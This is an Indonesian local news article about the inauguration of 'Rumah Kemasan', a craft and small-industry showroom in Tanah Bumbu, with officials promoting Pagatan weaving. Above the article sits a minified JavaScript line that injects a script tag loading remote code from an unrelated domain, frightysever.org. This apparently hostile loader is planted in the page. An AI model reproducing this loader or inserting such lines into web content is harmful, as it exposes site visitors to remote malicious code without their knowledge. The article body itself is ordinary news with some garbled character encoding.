(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Rumah Kemasan” Diresmikan, Ini Harapan Ketua Dekranasda Tanbu

KANALKALIMANTAN.COM, BATULICIN â€“ Pemerintah Kabupaten (Pemkab) Tanah Bumbu (Tanbu) meresmikan “Rumah Kemasan” bagian dari Dewan Kerajinan Nasional Daerah (Dekranasda) Tanbu, Kamis (31/3/2022), di Kecamatan Simpang Empat.

Bupati Tanah Bumbu HM Zairullah Azhar meresmikan “Rumah Kemasan” sebagai wadah pusat Industri Kecil Menengah (IKM), sekaligus show room Dekranasda Tanbu.

Peresmian ditandai dengan pembukaan tirai IKM Center Hasanah, serta penandatangan prasasti.

Turut hadir Ketua DPRD Kabupaten Tanbu H Supiansyah, Ketua Dekranasda Tanbu Hj Wahyu Windarti Zairulllah.

Zairulllah Azhar sangat mengapresiasi atas dibangunnya “Rumah Kemasan” sebagai pusat promosi hasil produk IKM masyarakat Tanah Bumbu. Ia mengharapkan “Rumah Kemasan” bisa membangkitkan semangat para pengrajin di daerah ini.

Sebagai penyangga Ibu Kota Negara (IKN) sudah saatnya Tanah Bumbu mempersiapkan diri dan memperkenalkan dari seluruh aspek, termasuk ciri khas Tanah Bumbu.

â€œKalau di Jawa orang kenal batik, maka di Tanah Bumbu orang akan mengenal tenun Pagatan,” kata Zairulllah.

Sementara itu, Ketua Dekranasda Tanbu Hj Wahyu Windarti menyampaikan, melalui kehadiran “Rumah Kemasan” ini pihaknya siap memasarkan produk UMKM Tanbu.

Kemudian, guna mendorong eksistensi tenun Pagatan yang menjadi salah satu ikon daerah, Ketua Dekranasda Tanbu meminta kepada Bupati agar mengintruksikan kepada SKPD agar mengenakan pakaian dari tenun Pagatan.

â€œKemudian saran kepada pengrajin, agar memberdayakan anak putus sekolah di pelosok desa. Alhamdulillah banyak yang mau,â€ paparnya.

Dilain pihak, Kepala Dinas Koperasi Usaha Menengah Perdagangan dan Perindustrian (DKUMP2) Tanbu, H Deni Hariyanto memgatakan, kerajinan tenun Tanah Bumbu tidak hanya di Pagatan.

Pihaknya akan melakukan pembinaan ke tiap Kecamatan sekaligus mencoba mengangkat anak-anak putus sekolah agar dilatih dalam membuat kain tenun Tanah Bumbu.

Perlu diapresiasi inisiasi Ketua Dekranasda yang sudah memberikan semangat bagaimana mengupayakan pembinaan langkah konstruktif kedepan .

â€œKita berharap kepada Bupati agar dibuat sebuah regulasi bahwa setiap pegawai maupun anak sekolah diwajibkan untuk memakai khas tenun Tanah Bumbu,” tutupnya. (Kanalkalimantan.com/ftr)

Reporter : ftr
Editor : kk